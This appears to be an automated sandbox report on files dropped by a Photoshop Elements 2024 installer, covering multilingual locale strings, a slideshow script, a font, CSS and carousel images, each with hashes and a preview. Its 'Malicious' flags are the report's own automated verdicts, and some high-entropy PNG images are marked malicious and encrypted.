                                                                                                Preview:{.. "Name": "Esercitazioni di Photoshop Elements",.. "SubTitle": "Iniziate, raccogliete tutto ci. che vi serve e lasciatevi ispirare.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 bit) (versione minima richiesta)",.. "OperatingSystemMac": "Mac OS 10.12 (versione minima richiesta)",.. "Memory": "Sono necessari almeno 4 Gb di RAM per installare l'applicazione",.. "TextSlide1": "Abbina il colore e il tono di un'altra foto o utilizza le preimpostazioni.",.. "TextSlide2": "Crea testo stilizzato in pochi secondi.",.. "TextSlide3": "Crea e condivi i reel di foto in MP4.",.. "TextSlide4": "Fai clic per selezionare un cielo o uno sfondo.",.. "TextSlide5": "Look rinnovato, con modalit. luce e buio.",.. "TextSlide6": "Pi.",.. "TextSlide7": "Pannello Azioni rapide per modifiche con un clic",.. "TextSlide8": "Integrazione con Adobe stock",.. "TextSlide9": "Aggiornamenti Web e per dispositivi mobili ",.. "TextSlide10": "(Beta solo in inglese)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\ja_jp\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1127
                                                                                                Entropy (8bit):5.56961836864283
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ARWOlFK2G5e36asK3lc32QV6XGS8kDqbzEzxQciMCj7EOL0uo8fJNoNYnXe8r:va0h5y65mA2N8hWu5pzxWNYnuo
                                                                                                MD5:C31570E7CCB0FC3A4236B98ABBD0CC08
                                                                                                SHA1:33AFEC87102C157C7A7B80D0058F40F591E0BBC3
                                                                                                SHA-256:E645B23E361162F77EDB93AC9028F094C8CC316B2B9AAB88EA4690D43F554BFE
                                                                                                SHA-512:6B3A2FF37B7EE09BB5FA55DE7F072647DE4F3A54E003C4D08860AB4335E3E2EBB0AB9D483AA853A77D46B2C65F02FCD7CBB5FD12B98C9A88F976D5E64759C035
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements .......",.. "SubTitle": "........................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (..)",.. "OperatingSystemMac": "Mac OS 10.12 (..)",.. "Memory": "...................... 4GB . RAM ......",.. "TextSlide1": "................................",.. "TextSlide2": "....................",.. "TextSlide3": "MP4 .................",.. "TextSlide4": "1 ....................",.. "TextSlide5": "........................",.. "TextSlide6": "...",.. "TextSlide7": "..............................",.. "TextSlide8": "Adobe Stock

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\ko_kr\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):551
                                                                                                Entropy (8bit):5.719924059723855
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWzAwv/WgQYATnJPO4T3bu1BJGvdhEU3lcLD9gT6XOqjYkS9OTKHHVy1JZR:ARWswl8nVO+36UFKU3lcLM6XOqkpAU1O
                                                                                                MD5:079C7C099407A71437825C7DF92A92B1
                                                                                                SHA1:D8195B86E2FC055F86C6EBDF7BBED07A62157A1C
                                                                                                SHA-256:7CBC5BC481D33E921C57652DA070E5536A2292169C8C000548BC9F3B5367B9A6
                                                                                                SHA-512:D7E5FF122D86FDB82A4E939E87F0FFF794010A4C5F79FCE0DC0CCB59E9392B5DA7C52B1B99F2A33FA45998E58936A15B900F4AF385DF9684BC419E626D2634D7
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements ...",.. "SubTitle": ".... .. ... ... .....",.. "Operating1xWin": "Windows 7 ... . 1(64..)(.. .. ..)",.. "OperatingSystemMac": "Mac OS 10.12(.. .. ..)",.. "Memory": "....... ..... .. 4GB. RAM. ......",.. "TextSlide1": "._Instantly turn photos into works of art.",.. "TextSlide2": "._Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._Warp photos to fit any shape."..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\nl_nl\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):950
                                                                                                Entropy (8bit):4.827268491011639
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:IPwcRWDMH36aw3lcXISxODG87cU8XCDUEHEmtclaRAyJK:IUDw6NpSxqfDHvt6yJK
                                                                                                MD5:12B2FAAEC8A5524181967996AE808234
                                                                                                SHA1:45DE57CF1B5C0CD4C7FA4CFF9A2CEF54E3F71B72
                                                                                                SHA-256:06C55DFBC16F965839945B5EF066FE98F05EC8146D5B317D22C7D83D6976D806
                                                                                                SHA-512:C04D15AB32E4F0DE73E124E3A9CD10AEE73C132ACEA29AA343A8DAF5A9680A63B8A5675294880A7447269653F6339D9F215CC311755B3045659A165EF4777B75
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Zelfstudies voor Photoshop Elements",.. "SubTitle": "Ga aan de slag met handige tools en laat u inspireren.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bits) (minimaal vereist)",.. "OperatingSystemMac": "Mac OS 10.12 (minimaal vereist)",.. "Memory": "U hebt minimaal 4 GB RAM nodig om de toepassing te installeren",.. "TextSlide1": "Stem kleur en tint af op een andere foto of gebruik voorinstellingen.",.. "TextSlide2": "Maak in een oogwenk gestileerde tekst.",.. "TextSlide3": "Maak en deel MP4-reels met foto's.",.. "TextSlide4": "Selecteer de lucht of achtergrond met ..n klik.",.. "TextSlide5": "Nieuwe, verbeterde look met lichte en donkere modus.",.. "TextSlide6": "Plus",.. "TextSlide7": "Snelle handelingen voor bewerkingen met ..n muisklik",.. "TextSlide8": "Integratie met Adobe Stock",.. "TextSlide9": "Updates voor internet en mobiele apparaten ",.. "TextSlide10": "(B.ta, alleen Engelstalig)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\pl_pl\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1005
                                                                                                Entropy (8bit):5.197252482745693
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:+cRW8l36cr3lctnThcoq19aoy7VyMEnrzyxYqD19t7P6f:GC6WC2zao+VyByYqx9ts
                                                                                                MD5:A2BC40676845B4DDAFEAAB0523FF3671
                                                                                                SHA1:AD321F26CEC3D9F2E6812AB525AB62403A145D6E
                                                                                                SHA-256:55FC0609D045D6691129E51B196C71C3D4D98FC77A4DFE8FC6D62DB75C7B1680
                                                                                                SHA-512:CD0D8E9374F96FECE5673E7F6D9C259329A991F0CE46C90AFC41A51A937853ABAB71E64AC110FDE3977B7638484E1CC204F08D33A779E067DB637F1B54288EA9
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Samouczki programu Photoshop Elements",.. "SubTitle": "Rozpocznij, poznaj wszystkie podstawy, zainspiruj si..",.. "Operating1xWin": "Windows 7 z dodatkiem Service Pack 1 (64-bitowy) (minimalna wymagana wersja)",.. "OperatingSystemMac": "Mac OS 10.12 (minimalna wymagana wersja)",.. "Memory": "Do instalacji aplikacji wymagane s. co najmniej 4 GB pami.ci RAM.",.. "TextSlide1": "Dopasuj kolor i odcie. zdj.cia lub u.yj ustawie. predefiniowanych.",.. "TextSlide2": "Utw.rz tekst stylizowany w kilka sekund.",.. "TextSlide3": "Tw.rz i udost.pniaj rolki fotograficzne MP4.",.. "TextSlide4": "Kliknij, aby wybra. niebo lub t.o.",.. "TextSlide5": "Nowy, od.wie.ony wygl.d - z trybem jasnym i ciemnym.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel szybkich operacji do b.yskawicznych edycji",.. "TextSlide8": "Integracja z us.ug. Adobe Stock",.. "TextSlide9": "Aktualizacje internetowe i.mobilne ",.. "TextSlide10": "(Wersja Beta tylko w.j.zyku angielskim

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\ru_ru\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1335
                                                                                                Entropy (8bit):4.708899028432502
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:vNcRW3tDc36llsSeJ3lccSeFJGvlqkEZmAhWaTT13hWaTT12hWaTT1FagiXF:V3R46MdZytqkSW+xW+EW+ZCF
                                                                                                MD5:C08F7659EFCC7319CEA404C411852D7C
                                                                                                SHA1:960E5E87D616CE32C02101DD95E31A1B9AA5CA01
                                                                                                SHA-256:0A2B57E247570FCD544EE2D76BB2520824DA5BEC5CC41C4B4082354A8F67087A
                                                                                                SHA-512:92CEE63DFF79C0F6875ED2B74328995C8A88F473E1E4A412DEF3EA5F6601B2A5EF424D4D1FA45F0E59083A405771A74C7B282AF6879C12E48F62E6AF4BB19781
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "........... .. Photoshop Elements",.. "SubTitle": ".......... ......, ......... ....., ......... ............",.. "Operating1xWin": "Windows 7 . ....... .......... SP1 (64-.........) (.......... .......... ......)",.. "OperatingSystemMac": "Mac OS 10.12 (.......... .......... ......)",.. "Memory": "... ......... .......... ......... ....... 4... ...",.. "TextSlide1": "..... ........ .......... ........... .......... . .......... GIF-............",.. "TextSlide2": "........... .......... ....... ....... . .......... ........ .......",.. "TextSlide4": "........... .......... ....... ....... . .......... ......

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\sv_se\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):966
                                                                                                Entropy (8bit):5.007707161623855
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:UcRWUuN36oJ3l4Kh+sW92zJZ2KAaceGyBL2Jgsmks/NhGQsuUbz9k:wUud6ObhU2zAcGyBOo/NhHsU
                                                                                                MD5:9A386BDD3D45947475EA973AA97A29FB
                                                                                                SHA1:F5DA3004442F42B7A59512E35414E6F4758F0634
                                                                                                SHA-256:7EC82E6599FA6E89DEE2837ECF6544C9062D2133D2D265F181C2710CC22E9129
                                                                                                SHA-512:796F9078350951EB62CF203E655F9170A1F02DFD9A16E327764955C27437E872E7C2B7612C0817CB4BA52051A0DC4E0B71925DDB0F1E10A81D1E5A41AE645A7B
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Sj.lvstudiekurser f.r Photoshop Elements",.. "SubTitle": "Kom ig.ng, l.r dig det grundl.ggande och bli inspirerad.",.. "Operating1xWin": "Windows 7 med Service Pack 1 (64-bitars) kr.vs",.. "OperatingSystemMac": "macOS 10.12 kr.vs",.. "Memory": "Om du vill installera programmet m.ste du ha minst 4 GB med RAM-minne",.. "TextSlide1": "Matcha f.rg och ton fr.n ett annat foto eller anv.nd f.rinst.llningar.",.. "TextSlide2": "Skapa stiliserad text p. n.gra sekunder.",.. "TextSlide3": "Skapa och dela filmrulle i mp4-format.",.. "TextSlide4": "Klicka en g.ng f.r att markera en himmel eller bakgrund.",.. "TextSlide5": "Nytt fr.scht utseende . med ljust och m.rkt l.ge.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panelen Snabb.tg.rder f.r redigeringar med ett klick",.. "TextSlide8": "Adobe Stock-integrering",.. "TextSlide9": "Webb- och mobiluppdateringar ",.. "TextSlide10": "(betaversion endast p. engelska)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\zh_cn\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):533
                                                                                                Entropy (8bit):5.952077038813362
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWf0pJ3bu1BJoWhu0mdu3lcW0mdJ3xMIYyeKOTuHHVy1r9R:ARWf2J36aQue3lcW8T1Y1ydv
                                                                                                MD5:9558152FC5BA73DAE53330E8F74103C3
                                                                                                SHA1:4583E8593C9BFFE79DB23F204D40F459EE4C579A
                                                                                                SHA-256:E716DAFAC7426644D61477EF792C1D26FF02E683494E6AE3BBF18FE5672F2409
                                                                                                SHA-512:A860CFEEFAB7A35CD5B9BA4A9735ECFCD593291D32A846F531AE507A5090DB422F57C4C843341C50D33CC092FDAC8BC1F48ACAF217D400C71440998D2C571581
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements ..",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1.64 ........",.. "OperatingSystemMac": "Mac OS 10.12......",.. "Memory": "..... 4GB RAM .........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\zh_tw\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):535
                                                                                                Entropy (8bit):5.95952674339767
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWPu5tTJ3bu1BJoWI3lcnqX+M9L5KOTPWHHVy1b9R:ARWPufJ36a33lcqXnP1I1ydv
                                                                                                MD5:480263433597D1DA400B0CAB80456B3C
                                                                                                SHA1:B89620BDC7F4C0917EED3CD3D0DE256A8D2AD23B
                                                                                                SHA-256:DEF0A09F07831DF10E11B346F2130509CB3AB30991C15A7FBDFE3D4AF6889562
                                                                                                SHA-512:B910FFDFB82C529E6F8E73A389B336117751356273FF4DAC776F456E9298EF72C903A3F39A09EE2F01207FD7860E5BE1BF05AB94843320B51E954589FA524805
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements ....",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 ..) (....)",.. "OperatingSystemMac": "Mac OS 10.12 (....)",.. "Memory": "..... 4 GB . RAM ........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\zz_zz\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):500
                                                                                                Entropy (8bit):4.923628829725424
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWrsxRrW/c3bu1BJoWF3lcnRFJgjCd2OT+ZHHVy1HNTR:ARW2Rv36a83lcHd5K1yZNl
                                                                                                MD5:8BE468F56ED75DF9FD6E9296736C7437
                                                                                                SHA1:6A5387D379E90A41DF202F2186DD520F707C91B4
                                                                                                SHA-256:AA811CB8BD2936A0B7F3F884E3347D9DBF4663ABFFDAF64401A13F7910C5FF86
                                                                                                SHA-512:85C55278DBAF490AD4686CEA2D3EDCC54C891654FE16B5129F5D28C20C2AB9D3A6AB98286F93FFA09906E7D74FDA9A1E8357ABE2A9B2643879C5C775D9372510
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements tutorials",.. "SubTitle": "Get started, get the essentials, get inspired.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",.. "TextSlide1": "Instantly turn photos into works of art.",.. "TextSlide2": "Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "Warp photos to fit any shape."..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\carousel.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):2787
                                                                                                Entropy (8bit):5.184018118549148
                                                                                                Encrypted:false
                                                                                                SSDEEP:48:NrWwZsezuvmwQr3TcEuDgAIKRzpIrspGZXBi0ahMDPTAP96kP9N9P9ciP9aMHLPU:4wZ6pQrRu00lIrW4i0rTMU4LBSS574Es
                                                                                                MD5:44D3F90C842E5387DD782BC6097FABBD
                                                                                                SHA1:CB6F6D2D643A5D958BD00D7C212BD35C2BB4DDEB
                                                                                                SHA-256:DDA5350E57A484A80CA07489F18F064D67E21CCB08B36FF2BFA2C37657D6F37F
                                                                                                SHA-512:3BB152DA1E07A6A86C375A3790C65C185557F92B0148A0C41CB4E1C5D079C3F9E7EC33F6E08652669AB6BFCDABF61B358FDAA353CCF1BFB0D99E4B8C5F6188C6
                                                                                                Malicious:false
                                                                                                Preview:$(document).ready(function() { cecInit(); });....function cecInit() {.. var jsonData;.. var locale = getParameterByName("locale");.. var isHighDpi = getParameterByName("isHighDpi");.... $("html").attr("lang", locale.slice(0, 2));.... cecGetLocaleJson(locale);..}....function resizeWin() { myWindow.resizeTo(455, 239); }..var slideIndex = 0;..showSlides();....function showSlides() {.. var i;.. var slides = document.getElementsByClassName("mySlides");.. for (i = 0; i < slides.length; i++) {.. slides[i].style.opacity = "0";.. slides[i].style.visibility = "hidden";.. }.. slideIndex++;.. if (slideIndex > slides.length) {.. slideIndex = 1;.. }.... slides[slideIndex - 1].style.opacity = "1";.. slides[slideIndex - 1].style.visibility = "visible";.... if (slideIndex == 6) {.. slideIndex = 0;.. }.. setTimeout(showSlides, 6000); // Change image every 5 seconds..}....function getParameterByName(name) {.. name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");.. var

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\css\fonts\adobeclean\adobeclean-regular-webfont.woff

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Web Open Font Format, TrueType, length 31112, version 1.0
                                                                                                Category:dropped
                                                                                                Size (bytes):31112
                                                                                                Entropy (8bit):7.984152889259412
                                                                                                Encrypted:false
                                                                                                SSDEEP:768:4ol18SuOO3bBAughXjNPQsXVjWuu7jqWdTS2gS:Lr6tAugVjN4sXJYjqWdm2V
                                                                                                MD5:6AF297E58EDC414EE90C76C2D3EA8678
                                                                                                SHA1:7497D181CD6FE3A4B01A4F8B6BA6A47D3FA54333
                                                                                                SHA-256:3E8F59DB6DFAE287AF8DCCC0FDF5E15A8AA2A954C2C232BC6C64536E1A27EAA5
                                                                                                SHA-512:61E14F8E605C4D2B52C9A874F40E73FDE43625BC468BA3C7316E7672CFFD05B7C1766C875FC1B48218BD2B6856226645EE9BCB45810EB7121C5DBD0C184B7D0A
                                                                                                Malicious:false
                                                                                                Preview:wOFF......y................................BASE.......J....c`[.FFTM............[...GDEF.......#...&....OS/2.......X...`j..#cmap...d.........B.cvt .......V...V.}..fpgm...@.......e../.gasp................glyf......k4.....8.head..q4...2...6..Cohhea..qh... ...$.r.hhmtx..q....Y.....6P.loca..s..........c..maxp..u.... ... ....name..u....(...2.JI.post..v..........k.prep..x.........:.&cx.c`d``..b..>........<...7............l....<...6..`d`...a`....d...z.....x.c```d....6...'{..@.J.b%...x.c`d``..b9..`.BF..@...%....c..+O...x.c`a~.8.......,...,..t.!.).Hs.23..01.$00..............o....w00..d.P``...c......\..y..x.c```f.`..F..8..1..,..........P..1............).9.%.5.}.+.x.5.J..~........1...AA@ABA.............._..........p.......~.......4?0..H.).S.....l.p.L@..]..,.l...\.<.|...B.".b...R.2.r...J.*.j...Z.:.z...F.&.f...V.6.v...N...n...^.>.~...A.!.a...Q.1.q....m..g.[.h...W.^.f..u.6n.e..{v...P...y.baA...,..Y......`...0.....b...Kjj.~...k.n_..........>{.Py..CKOsoW...}S.1L.3w6..c.@MU@.../.>...

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\css\styles.css

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):189
                                                                                                Entropy (8bit):4.841995719284234
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:5RFKqvZKSYRvsDQR7C8jOIbQvLwKEUc3XKRCRNKLUDfFLKYgEQmXt:PJ9MsfIsvMfHHKRkNlZLKYgE7t
                                                                                                MD5:3A0EC2D2C5020A3CF45C13A87434B285
                                                                                                SHA1:12275D4D51DE801CE28C88A0C246DE22C6D08120
                                                                                                SHA-256:406288E48CED388744E5165A1EC4266F419CC409E4A70036E4B15A93AF5C42AB
                                                                                                SHA-512:A7C6D55F64D91E5D71661E040F4D06D2C873E0B2D2A3B2E52FF60D230A7C7C0924CD0DDC4DC124D53736C934023A27D6ED77C1266732F0B5DE5DC75B02715C8B
                                                                                                Malicious:false
                                                                                                Preview:@charset "utf-8";..@font-face {...font-family: 'AdobeClean';...src: url('fonts/adobeclean/adobeclean-regular-webfont.woff') format('woff');...font-weight: normal;...font-style: normal;..}..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):218501
                                                                                                Entropy (8bit):7.994177806609243
                                                                                                Encrypted:true
                                                                                                SSDEEP:6144:IF6yyknzdRSTey+E4xlziCaENqYYRPuL1hGQ/uve:q6dkzdRzyfUlOZENXYJ2jGve
                                                                                                MD5:70155993A908DD3F179030722111DAFD
                                                                                                SHA1:7F77A6DA3295559977185127DF0131DFEAAB6401
                                                                                                SHA-256:CE3DB74C58B62C946144D90E1B98982846BFDBA928F3832EFF5DFB0800BD14DD
                                                                                                SHA-512:F4F84A88984EA656A13AD7D2F171688910528692E4CDEA2128C01EAAEE1E342AED9CD381162B888634083B38B36D34EEA31AF05E8BA0790570FB26125E6926EE
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:43-07:00" xmp:MetadataDate="2023-06-08T09:43:43-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:9cd1a8a5-fa0f-4664-954e-671adbe841c1" xmpMM:DocumentID="adobe:docid:photoshop:33d3baaf-635d-744b-8709-2bf9163d9686" xmpMM:OriginalDocumentID="xmp.did:f

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):196538
                                                                                                Entropy (8bit):7.994396839674714
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:CnSlcookIH/9pdgUmvcFsGE4WywNB2DuN/7/r+Hh44JJwN+xMAr/Goh2qMdi3Add:EDo3ctFsR/Ht7KBRTiAr/GDVH7qfpgJb
                                                                                                MD5:ECBDD07F272A819936179371478A8C3F
                                                                                                SHA1:FF77202067ACB0463E7878C44004CF55549325C1
                                                                                                SHA-256:D370C16BDA414ECEED68A3432A1C2EBD37E3E84151E667CA5FCC2DA1A6876305
                                                                                                SHA-512:1B9FBD76C08CDAD927583F80FE5854EBFF55741805ADE093071A4BEEF0887DEF2CB456AD1B996CE110DD45F9E1B329457833BFF4DA0D391E0E7770D0FF119D21
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:26-07:00" xmp:ModifyDate="2023-06-08T09:43:44-07:00" xmp:MetadataDate="2023-06-08T09:43:44-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:4879ee18-af3c-48f2-a799-f0d2eb0add0b" xmpMM:DocumentID="adobe:docid:photoshop:63b35f9e-9203-bb4d-9b26-ed4aa5736dba" xmpMM:OriginalDocumentID="xmp.did:e

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):149774
                                                                                                Entropy (8bit):7.991574130023794
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:55ne4y2rhCF9yOm7QMflNGiYb+s9N5FsUA5FLOI70degQa:Pn3rkF27Q6Sbp0PLOI7GR
                                                                                                MD5:6FC7D9D817DECC0ECA1F54C1540DA1A0
                                                                                                SHA1:01959A4664CF3EA64A9CC85E6F8F60B25698107B
                                                                                                SHA-256:9426BB5B0A9E4524C05C861781A8599646B83B0572F548A065C0EC6B791B016D
                                                                                                SHA-512:1C492B0926915206A4A233FC1F00F3A5DF21AF7C957F00573BC7780E42A3AFAA444002B9420C31A6AC65C89B4B72DD26E6F640302F8C8240592AB5CA3636FC39
                                                                                                Malicious:true
